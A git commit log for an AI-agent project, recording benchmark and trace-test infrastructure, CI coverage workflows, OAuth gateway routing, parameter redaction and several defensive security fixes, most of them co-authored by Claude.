Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add Drop impl and graceful shutdown for TestRig

Wrap agent_handle in Option so Drop can abort leaked tasks. Signal
the channel shutdown before aborting for future cooperative shutdown.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: replace agent startup sleep with oneshot ready signal

Use a oneshot channel fired in Channel::start() instead of a fixed
100ms sleep, eliminating the race condition on slow systems.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: replace fragile string-matching iteration limit with count-based detection

Use tool completion count vs max_tool_iterations instead of scanning
status messages for "iteration"/"limit" substrings.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use assert_all_tools_succeeded for memory_full_cycle test

Remove incorrect comment about memory_tree failing with empty path
(it actually succeeds). Omit empty path from fixture and use the
standard assert_all_tools_succeeded instead of per-tool assertions.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: promote benchmark metrics types to library code

Move TraceMetrics, ScenarioResult, RunResult, MetricDelta, and
compare_runs() from tests/support/metrics.rs to src/benchmark/metrics.rs.
Existing tests use re-export for backward compatibility.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add Scenario and Criterion types for agent benchmarking

Scenario defines a task with input, success criteria, and resource
limits. Criterion is an enum of programmatic checks (tool_used,
response_contains, etc.) evaluated without LLM judgment.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add initial benchmark scenario suite (12 scenarios across 5 categories)

Scenarios cover tool_selection, tool_chaining, error_recovery,
efficiency, and memory_operations. All loaded from JSON with
deserialization validation test.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add benchmark runner with BenchChannel and InstrumentedLlm

BenchChannel is a minimal Channel implementation for benchmarks.
InstrumentedLlm wraps any LlmProvider to capture per-call metrics.
Runner creates a fresh agent per scenario, evaluates success criteria,
and produces RunResult with timing, token, and cost metrics.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add baseline management, reports, and benchmark entry point

- baseline.rs: load/save/promote benchmark results
- report.rs: format comparison reports with regression detection
- benchmark_runner.rs: integration test with real LLM (feature-gated)
- Add benchmark feature flag to Cargo.toml

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: apply cargo fmt to benchmark module

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add multi-turn scenario types with setup, judge, ResponseNotContains

Add BenchScenario, Turn, TurnAssertions, JudgeConfig, ScenarioSetup,
WorkspaceSetup, SeedDocument types for multi-turn benchmark scenarios.
Add ResponseNotContains criterion variant. Add TurnAssertions::to_criteria()
converter for backward compat with existing evaluation engine.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add JSON scenario loader with recursive discovery and tag filter

Add load_bench_scenarios() for the new BenchScenario format with recursive
directory traversal and tag-based filtering. Create 4 initial trajectory
scenarios across tool-selection, multi-turn, and efficiency categories.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): multi-turn runner with workspace seeding and per-turn metrics

Add run_bench_scenario() that loops over BenchScenario turns, seeds workspace
documents, collects per-turn metrics (tokens, tool calls, wall time), and
evaluates per-turn assertions. Add TurnMetrics to metrics.rs and
clear_for_next_turn() to BenchChannel.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add LLM-as-judge scoring with prompt formatting and score parsing

Create judge.rs with format_judge_prompt, parse_judge_score, and judge_turn.
Wire into run_bench_scenario for turns with judge config -- scores below
min_score fail the turn.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add CLI subcommand (ironclaw benchmark)

Add BenchmarkCommand with --tags, --scenario, --no-judge, --timeout,
--update-baseline flags. Wire into Command enum and main.rs dispatch.
Feature-gated behind benchmark flag.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): per-scenario JSON output with full trajectory

Add save_scenario_results() that writes per-scenario JSON files alongside
the run summary. Each scenario gets its own file with turn_metrics trajectory.
Update CLI to use new output format.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add ToolRegistry::retain_only and wire tool filtering in scenarios

Add a retain_only() method to ToolRegistry that filters tools down to a
given allowlist. Wire this into run_bench_scenario() so that when a
scenario specifies a tools list in its setup, only those tools are
available during the benchmark run. Includes two tests for the new
method: one verifying filtering works and one verifying empty input
is a no-op.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): wire identity overrides into workspace before agent start

Add seed_identity() helper that writes identity files (IDENTITY.md,
USER.md, etc.) into the workspace before the agent starts, so that
workspace.system_prompt() picks them up. Wire it into
run_bench_scenario() after workspace seeding. Include a test that
verifies identity files are written and readable.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add --parallel and --max-cost CLI flags

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(benchmark): use feature-conditional snapshot names for CLI help tests

Prevents snapshot conflicts between default (no benchmark) and
all-features (with benchmark) builds by using separate snapshot names
per feature set.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): parallel execution with JoinSet and budget cap enforcement

Replace sequential loop in run_all_bench() with parallel execution using
JoinSet + semaphore when config.parallel > 1. Add budget cap enforcement
that skips remaining scenarios when max_total_cost_usd is exceeded.
Track skipped count in RunResult.skipped_scenarios and display it in
format_report().

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add tool restriction and identity override test scenarios

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* chore: fix formatting for Phase 3

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add SkillRegistry::retain_only and wire skill filtering in scenarios

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(benchmark): add --json flag for machine-readable output

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add GitHub Actions benchmark workflow (manual trigger)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor(benchmark): remove in-tree benchmark harness, keep retain_only utilities

Move benchmark-specific code out of ironclaw in preparation for the
nearai/benchmarks trajectory adapter. This removes:

- src/benchmark/ (runner, scenarios, metrics, judge, report, etc.)
- src/cli/benchmark.rs and the Benchmark CLI subcommand
- benchmarks/ data directory (scenarios + trajectories)
- .github/workflows/benchmark.yml
- The "benchmark" Cargo feature flag

What remains:
- ToolRegistry::retain_only() and SkillRegistry::retain_only()
- Test support types (TraceMetrics, InstrumentedLlm) inlined into
  tests/support/ instead of re-exporting from the deleted module

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: add README for LLM trace fixture format

Documents the trajectory JSON format, response types, request hints,
directory structure, and how to write new traces.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat(test): unify trace format around turns, add multi-turn support

Introduce TraceTurn type that groups user_input with LLM response steps,
making traces self-contained conversation trajectories. Add run_trace()
to TestRig for automatic multi-turn replay. Backward-compatible: flat
"steps" JSON is deserialized as a single turn transparently.

Includes all trace fixtures (spot, coverage, advanced), plan docs, and
new e2e tests for steering, error recovery, long chains, memory, and
prompt injection resilience.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(test): fix CI failures after merging main

- Fix tool_json fixture: use "data" parameter (not "input") to match
  JsonTool schema
- Fix status_events test: remove assertion for "time" tool that isn't
  in the fixture (only "echo" calls are used)
- Allow dead_code in test support metrics/instrumented_llm modules
  (utilities for future benchmark tests)

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Working on recording traces and testing them

* feat(test): add declarative expects to trace fixtures, split infra tests

Add TraceExpects struct with 9 optional assertion fields (response_contains,
tools_used, all_tools_succeeded, etc.) that can be declared in fixture JSON
instead of hand-written Rust. Add verify_expects() and run_recorded_trace()
so recorded trace tests become one-liners.

Split trace infra tests (deserialization, backward compat) into
tests/trace_format.rs which doesn't require the libsql feature gate.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor(test): add expects to all trace fixtures, simplify e2e tests

Add declarative expects blocks to all 19 trace fixture JSONs across
spot/, coverage/, advanced/, and root directories. Update all 8 e2e
test files to use verify_trace_expects() / run_and_verify_trace(),
replacing ~270 lines of hand-written assertions with fixture-driven
verification.

Tests that check things beyond expects (file content on disk, metrics,
event ordering) keep those extra assertions alongside the declarative
ones.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(test): adapt tests to AppBuilder refactor, fix formatting

Update test files to work with refactored TestRigBuilder that uses
AppBuilder::build_all() (removing with_tools/with_workspace methods).
Update telegram_check fixture to use tool_list instead of echo.
Fix cargo fmt issues in src/llm/mod.rs and src/llm/recording.rs.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor(test): deduplicate support unit tests into single binary

Support modules (assertions, cleanup, test_channel, test_rig, trace_llm)
had #[cfg(test)] mod tests blocks that were compiled and run 12 times —
once per e2e test binary that declares `mod support;`. Extracted all 29
support unit tests into a dedicated `tests/support_unit_tests.rs` so they
run exactly once.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix trailing newlines in support files

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor(test): unify trace types and fix recorded multi-turn replay

Import shared types (TraceStep, TraceResponse, TraceToolCall, RequestHint,
ExpectedToolResult, MemorySnapshotEntry, HttpExchange*) from
ironclaw::llm::recording instead of redefining them in trace_llm.rs.

Fix the flat-steps deserializer to split at UserInput boundaries into
multiple turns, instead of filtering them out and wrapping everything
into a single turn. This enables recorded multi-turn traces to be
replayed as proper multi-turn conversations via run_trace().

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(test): fix CI failures - unused imports and missing struct fields

- Add #[allow(unused_imports)] on pub use re-exports in trace_llm.rs
  (types are re-exported for downstream test files, not used locally)
- Add `..` to ToolCompleted pattern in test_channel.rs to match new
  `error` and `parameters` fields

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(test): fix CI failures after merging main

- Add missing `error` and `parameters` fields to ToolCompleted
  constructors in support_unit_tests.rs
- Add `..` to ToolCompleted pattern match in support_unit_tests.rs
- Add #[allow(dead_code)] to CleanupGuard, LlmTrace impl, and
  TraceLlm impl (only used behind #[cfg(feature = "libsql")])

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Adding coverage running script

* fix(test): address review feedback on E2E test infrastructure

- Increase wait_for_responses polling to exponential backoff (50ms-500ms)
  and raise default timeout from 15s to 30s to reduce CI flakiness (#1)
- Strengthen prompt_injection_resilience test with positive safety layer
  assertion via has_safety_warnings(), enable injection_check (#2)
- Add assert_tool_order() helper and tools_order field in TraceExpects
  for verifying tool execution ordering in multi-step traces (#3)
- Document TraceLlm sequential-call assumption for concurrency (#6)
- Clean up CleanupGuard with PathKind enum instead of shotgun
  remove_file + remove_dir_all on every path (#8)
- Fix coverage.sh: default to --lib only, fix multi-filter syntax,
  add COV_ALL_TARGETS option
- Add coverage/ to .gitignore
- Remove planning docs from PR

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review - use HashSet in retain_only, improve skill test

- Use HashSet for O(N+M) lookup in SkillRegistry::retain_only and
  ToolRegistry::retain_only instead of linear scan
- Strengthen test_retain_only_empty_is_noop in SkillRegistry to
  pre-populate with a skill before asserting the no-op behavior

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(test): revert incorrect safety layer assertion in injection test

The safety layer sanitizes tool output, not user input. The injection
test sends a malicious user message with no tools called, so the safety
layer never fires. Reverted to the original test which correctly
validates the LLM refuses via trace expects. Also fixed case-sensitive
request hint ("ignore" -> "Ignore") to suppress noisy warning.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: clean stale profdata before coverage run

Adds `cargo llvm-cov clean` before each run to prevent
"mismatched data" warnings from stale instrumentation profiles.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix formatting in retain_only test

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-03-05 09:13:09 +00:00
a1f0208956 fix(ci): persist all cargo-llvm-cov env vars for E2E coverage (#559)
* fix(ci): persist all cargo-llvm-cov env vars for E2E coverage

Newer cargo-llvm-cov versions output CARGO_ENCODED_RUSTFLAGS instead of
RUSTFLAGS from show-env. The workflow was cherry-picking specific vars
(RUSTFLAGS, LLVM_PROFILE_FILE, etc.) to persist to $GITHUB_ENV, so
CARGO_ENCODED_RUSTFLAGS was never set during the build step, producing a
non-instrumented binary and zero .profraw files.

Replace the manual echo lines with `cargo llvm-cov show-env >> $GITHUB_ENV`
to forward all vars (including CARGO_ENCODED_RUSTFLAGS, CARGO_INCREMENTAL,
etc.) regardless of cargo-llvm-cov version.

Also forward CARGO_ENCODED_RUSTFLAGS in the E2E conftest subprocess env.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(ci): address PR review — prefix-based env forwarding, split clean step

- conftest.py: replace explicit env var list with prefix-based matching
  (CARGO_LLVM_COV*, LLVM_*) plus specific vars (CARGO_ENCODED_RUSTFLAGS,
  CARGO_INCREMENTAL) to stay resilient to cargo-llvm-cov changes.
- coverage.yml: move `cargo llvm-cov clean` to its own step so the env
  vars from show-env (persisted via $GITHUB_ENV) are active when clean runs.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-05 01:44:03 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
3615967f92 chore: release v0.15.0 (#526)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-04 16:37:10 -08:00
704d63f16a feat(oauth): route callbacks through web gateway for hosted instances (#555)
* feat: route OAuth callbacks through web gateway for hosted instances

On hosted instances (e.g., NEAR AI), OAuth callbacks can't reach the
local TCP listener on port 9876. This adds a gateway-routed OAuth flow
that works behind reverse proxies and load balancers.

Backend changes:
- Add /oauth/callback as a public route on the web gateway
- PendingOAuthFlow registry shared between ExtensionManager and handler
- Gateway mode auto-detected via IRONCLAW_OAUTH_CALLBACK_URL env var
- Platform state format (instance:nonce) for nginx routing
- Token exchange proxy support via IRONCLAW_OAUTH_EXCHANGE_URL
- Local TCP listener mode preserved as backward-compatible fallback

UX improvements:
- Hide Configure button for tools with auto-resolved OAuth credentials
  (builtin defaults or platform-injected env vars)
- Skip client_id/client_secret fields in setup schema when auto-resolved
- Show Reconfigure only after successful authentication

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix(oauth): harden gateway callback and refactor AuthResult

- Add 60s timeout to exchange_via_proxy HTTP client (matching exchange_oauth_code)
- Read GATEWAY_AUTH_TOKEN once at ExtensionManager construction instead of
  per-flow from env (prevents coupling and clarifies token provenance)
- Extract oauth_error_page() helper to deduplicate error landing pages
- Remove IRONCLAW_FORCE_GATEWAY_CALLBACK env var (auto-detection suffices)
- Refactor AuthResult into typed AuthStatus enum with constructors,
  eliminating stringly-typed status and Option fields that were always None
- Adapt all handlers (chat, extensions, ws) to new AuthResult/AuthStatus API
- Use setup_url (not validation_endpoint) for awaiting_token responses

[skip-regression-check]

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(oauth): address review feedback — empty token guard, test flakiness, doc typos

- Fail early in exchange_via_proxy() when gateway_token is empty instead
  of sending an unauthenticated request to the exchange proxy
- Fix test_oauth_callback_strips_instance_prefix to use an expired flow
  so it never attempts a real HTTP token exchange (prevents CI flakiness)
- Fix doc comments: /auth/callback → /oauth/callback in PendingOAuthFlow
  and ExtensionManager pending_oauth_flows docs

[skip-regression-check]

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: clarify strip_instance_prefix safety, wrapper credential fix, test assertion

- Add comment to strip_instance_prefix noting nonces are base64url (no colons)
- Expand wrapper.rs comment explaining the credential_user_id bug fix
- Fix test_oauth_callback_strips_instance_prefix assertion: landing_html
  does not include provider_name on error pages

[skip-regression-check]

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-04 23:47:45 +00:00
902492bcdb feat(web): show error details for failed tool calls (#490)
* feat(web): show error details and input params for failed tool calls

Failed tool calls in the gateway UI previously showed only a red X icon
with an empty expandable body. This change:

- Adds optional `error` and `parameters` fields to `ToolCompleted` SSE
  events so the browser receives failure details in real-time
- Auto-expands failed tool cards to make errors immediately visible
- Adds `StatusUpdate::tool_completed()` constructor that centralizes
  the 5 duplicated construction sites and applies `redact_params()` to
  prevent sensitive values (e.g. secret_save's "value" param) from
  leaking through SSE broadcasts
- Adds `sensitive_params()` trait method to `Tool` for declaring which
  parameters must be redacted before logging, hooks, and UI display
- Adds `redact_params()` utility and wires it through hooks, approvals,
  ActionRecord storage, and debug logs in dispatcher/worker
- Adds `SecretListTool` and `SecretDeleteTool` for LLM-driven secret
  management (values never returned, only names/metadata)
- Fixes auth flow: setup-only extensions show configure modal instead
  of OAuth card; auth_completed SSE dismisses both UI paths
- CI: release workflow creates PR instead of pushing directly to main
- Registry: MissingChecksum error enables source fallback for
  bootstrapping when checksums haven't been populated yet

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* style: apply cargo fmt

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: keep original params in PendingApproval for execution, redact only for display

Address two PR review comments:

1. execute_chat_tool_standalone now redacts sensitive params before logging,
   matching the pattern already used in worker.rs.

2. PendingApproval previously stored redacted parameters, which meant
   approved tool calls received "[REDACTED]" instead of the actual values.
   Add a display_parameters field for UI/logs and keep parameters as the
   original values used for execution.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: address PR review comments

- worker.rs: redact sensitive params before BeforeToolCall hook, matching
  dispatcher.rs — hooks in the autonomous job path now receive redacted
  params instead of raw values
- registry.rs: fix docstring for register_secrets_tools (list, delete,
  not save/list/delete — no SecretSaveTool is registered)
- app.js: fix double toast/loadExtensions in submitConfigureModal —
  for non-OAuth success the auth_completed SSE already handles both,
  so skip them in the HTTP response handler to avoid duplicates

[skip-regression-check]

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-04 15:38:26 -08:00
13697976db feat(extensions): improve auth UX and add load-time validation (#536)
* feat(extensions): add load-time validation for auth capabilities

Catch common misconfigurations (missing auth section, missing setup_url,
short prompts) at startup via tracing::warn instead of silently failing
at auth time.

* feat(extensions): improve auth prompts, setup_url, and showAuthCard

Add setup_url and descriptive prompts to channel and tool capabilities
files. Fix showAuthCard in web gateway and improve extension manager
auth flow messaging.

* refactor(extensions): extract MIN_PROMPT_LENGTH constant in validate()

Address review feedback: replace magic number 30 with a named constant
for readability and maintainability.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 13:57:10 -08:00
cbcd5adcc0 fix(security): restrict query-token auth to SSE endpoints only (#528)
* fix(security): restrict query-token auth to SSE endpoints only

Query-string `?token=xxx` auth was accepted on all endpoints, exposing
the main auth token in server logs, Referer headers, and browser history
for state-changing routes. Now only GET /api/chat/events and
GET /api/logs/events accept query tokens; all other endpoints require
the Authorization header.

Supersedes #364.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add WebSocket endpoint to query-token allowlist, add URL-encoding tests

The WS upgrade at /api/chat/ws also can't set custom headers, so it
needs query-token auth like the SSE endpoints. Also adds tests for
URL-encoded token values to cover the form_urlencoded parser.

Addresses review feedback from Gemini (partially, /api/jobs/{id}/events
is a JSON endpoint not SSE, so it correctly stays excluded) and Copilot
(URL-encoded token test).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 20:06:51 +00:00
e24c33ff90 fix(ci): flush profraw coverage data in E2E teardown (#550)
The ironclaw binary only handles SIGINT (via tokio::signal::ctrl_c),
not SIGTERM. When conftest.py sent SIGTERM during teardown, the OS
killed the process immediately without running atexit handlers, so
LLVM never flushed .profraw files. cargo llvm-cov report then found
zero profraw files and failed.

- Send SIGINT instead of SIGTERM so the existing ctrl_c handler
  triggers graceful shutdown → main() returns → atexit runs → profraw
  flushed
- Increase shutdown wait from 5s to 10s for graceful cleanup
- Add a diagnostic step to verify profraw files exist before the
  report step, making future issues visible in CI logs

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 20:05:46 +00:00
f99991d27b fix(wasm): coerce string parameters to schema-declared types (#498)
* fix(wasm): coerce string parameters to schema-declared types

LLMs frequently pass numeric values as JSON strings ("5" instead of 5)
or booleans as strings ("true" instead of true). The WASM module's
serde deserializer rejects these type mismatches. This adds a
coerce_params_to_schema() helper that walks the params JSON object
and converts string values to their schema-declared types (number,
integer, boolean) before passing to the WASM module.

Adds 5 unit tests covering number, integer, boolean coercion,
already-correct types, and unparseable strings.

Closes #486

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use in-place mutation and case-insensitive boolean coercion

Address review feedback:
- Use get_mut instead of clone+insert to avoid allocations
- Make boolean coercion case-insensitive (handles "True", "FALSE", etc.)
- Expand boolean test to cover false and mixed-case values

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: collapse nested if-let to satisfy clippy collapsible_if lint

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 18:19:01 +00:00
89600e2b5c fix(agent): strip leaked [Called tool ...] text from responses (#497)
* fix(agent): strip leaked [Called tool ...] text from agent responses

When the NEAR AI provider flattens tool_call messages to plain text,
markers like [Called tool ...] and [Tool ... returned: ...] can leak
into the user-visible response if the LLM echoes them back. This adds
a sanitization step in the agentic loop's text response path that
strips these internal markers before returning. If stripping leaves
the response empty, a generic fallback message is returned instead.

Closes #487

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use fold instead of collect+join to avoid heap allocation

Address review feedback: replace Vec collect + join with fold to build
the filtered string directly, avoiding an intermediate heap allocation.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Pierre LE GUEN <[email protected]>
2026-03-04 18:16:26 +00:00
e4e78d8a87 fix(web): reset job list UI on restart failure (#499)
* fix(web): reset job list UI on restart failure

The restartJob() catch handler was missing a loadJobs() call, so the
job row stayed in a stale highlighted state after a failed restart
attempt. Add loadJobs() to match the success path behavior.

Closes #485

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use .finally() for loadJobs() instead of duplicating

Move loadJobs() to a .finally() block so it runs on both success and
failure without duplication.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 10:05:42 -08:00
b9446712e9 fix(telegram): add missing webhook section to capabilities.json (#381)
The Telegram channel capabilities file was missing the `webhook`
block inside `capabilities.channel`, causing the router to fall back
to the default `X-Webhook-Secret` header instead of the Telegram-
specific `X-Telegram-Bot-Api-Secret-Token`.

When a webhook secret is configured (via `telegram_webhook_secret`),
incoming updates are rejected with 401 because Telegram sends the
token in `X-Telegram-Bot-Api-Secret-Token` but the router looks for
`X-Webhook-Secret`.

The existing test in `schema.rs` already expects the correct header
name, confirming this is an oversight in the shipped capabilities
file.

Co-authored-by: SMKRV <[email protected]>
Co-authored-by: firat.sertgoz <[email protected]>
2026-03-04 14:40:28 +00:00
LawyeredandGitHub 31a4330f24 Fix UTF-8 unsafe truncation in sandbox log capture (#359) 2026-03-04 15:25:26 +01:00
9b47dbbaed fix(security): replace .unwrap() panics in pairing store with proper error handling (#515)
The pairing store called .unwrap() on path.parent() in three locations
(upsert_request, record_failed_approve, add_allow_from). If a path has
no parent (root path or empty), this panics — a potential denial-of-service
vector if an attacker can influence the path.

Added InvalidPath variant to PairingStoreError and replaced all three
.unwrap() calls with ok_or_else error propagation. This follows the
project's no-panics-in-production policy.

Locations fixed:
- upsert_request (line ~227)
- record_failed_approve (line ~322)
- add_allow_from (line ~465)

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-04 08:21:19 +00:00
ac3c928853 ci: enhance coverage with feature matrix, postgres, and E2E (#523)
* ci: enhance coverage workflow with feature matrix, postgres, and E2E

Replace single-config coverage job with a multi-job pipeline:

- Mirror test.yml's 3-config feature matrix (all-features, default, libsql-only)
- Add PostgreSQL service (pgvector/pgvector:pg16) with migrations for
  postgres configs so integration tests actually run instead of skipping
- Add E2E coverage job using cargo-llvm-cov instrumented binary with
  Playwright browser tests
- Add coverage-gate roll-up job for branch protection
- Upload per-config flags to Codecov (all-features, default, libsql-only, e2e)
- Forward LLVM coverage env vars in E2E conftest.py so profraw data
  lands where cargo-llvm-cov report expects it

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on coverage workflow

- Avoid setting DATABASE_URL to empty string for libsql-only config;
  use $GITHUB_ENV conditional step so the var is unset entirely
- Add set -euo pipefail and psql -v ON_ERROR_STOP=1 to migrations
  so SQL errors fail the job immediately

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 06:23:53 +00:00
Pierre LE GUENandGitHub bf2a08be94 feat: add local-test skill and Dockerfile.test for web gateway testing (#524)
Add Dockerfile.test as reusable infrastructure for spinning up local
test instances with libsql (no PostgreSQL dependency). Defaults to
port 3003 to avoid conflict with dev server.

Add local-test workspace skill that teaches the agent how to build,
run, and test against local Docker containers using Chrome MCP browser
automation tools. Covers LLM backend configuration, multi-instance
testing, cleanup, and troubleshooting.
2026-03-04 05:53:35 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
308758c27c chore: release v0.14.0 (#480)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-04 05:02:33 +00:00
f60c91e9a7 ci: enforce regression tests for fix commits (#517)
* ci: enforce regression tests for fix commits

Add a commit-msg hook and CI workflow that require test changes
alongside bug fix commits, ensuring every fix includes a regression
test that would have caught the bug.

- scripts/commit-msg-regression.sh: local git hook (blocks fix commits
  without test changes; exempts static/docs-only; bypass via
  [skip-regression-check] marker)
- .github/workflows/regression-test-check.yml: CI mirror on PRs
  (checks title + commit messages; skip via label)
- scripts/dev-setup.sh: install hook in step 6
- .github/scripts/create-labels.sh: add skip-regression-check label
- CLAUDE.md: document regression test policy

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on regression test enforcement

- Use here-strings instead of echo|grep to avoid misinterpreting
  special characters in variables
- Use git diff -W (whole-function context) to detect edits inside
  existing test functions, not just new #[test] attributes
- Honor [skip-regression-check] in commit messages in CI (not just
  the PR label)
- Use git rev-parse --git-path hooks for worktree-safe hook install

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Update .github/workflows/regression-test-check.yml

Co-authored-by: Copilot <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Copilot <[email protected]>
2026-03-04 04:35:54 +00:00
a22d44f2b2 ci: add code coverage with cargo-llvm-cov and Codecov (#511)
* ci: add code coverage with cargo-llvm-cov and Codecov

Add a Coverage workflow that runs on PRs and pushes to main using
cargo-llvm-cov with --all-features, uploading LCOV results to Codecov.
Include codecov.yml config with project/patch targets and ignore rules
for stub files.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: switch Codecov upload to OIDC (tokenless)

Use GitHub OIDC tokens instead of CODECOV_TOKEN secret so coverage
uploads work for fork PRs where secrets are not available.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: fail coverage upload strictly on push, leniently on PRs

Use a conditional so pushes to main fail if Codecov upload breaks
(preventing silent reporting gaps) while PRs stay lenient to avoid
blocking fork PRs where OIDC may not be available.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: disable Codecov auto-detection to suppress warnings

We provide lcov.info explicitly, so disable auto-search for gcov,
coverage.py, and Xcode formats that produce noisy warnings.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: include channels-src and tools-src in coverage reporting

These WASM source directories should be tracked for test coverage
rather than ignored.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: remove stale ignore entries from codecov.yml

The marketplace, ecommerce, taskrabbit, and restaurant stub files
no longer exist in the codebase.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: run coverage on push to main only

Avoids running tests twice on PRs (once in test.yml, once for coverage).
Coverage runs on merge to main instead. Simplify fail_ci_if_error to
always true since it only runs on push now.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 02:14:15 +00:00
a181c8b384 fix(web): mobile browser bar obscures chat input (#508)
* fix(web): use dvh units to prevent mobile browser bar from obscuring chat input

On mobile browsers (Brave/Android, Safari/iOS), the bottom navigation bar
covers the chat input because 100vh includes space behind browser chrome.
Switch to 100dvh (dynamic viewport height) with vh fallback for older
browsers, and add safe-area-inset padding for notched devices.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Fix padding declaration in chat input style

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-03-04 01:55:52 +00:00
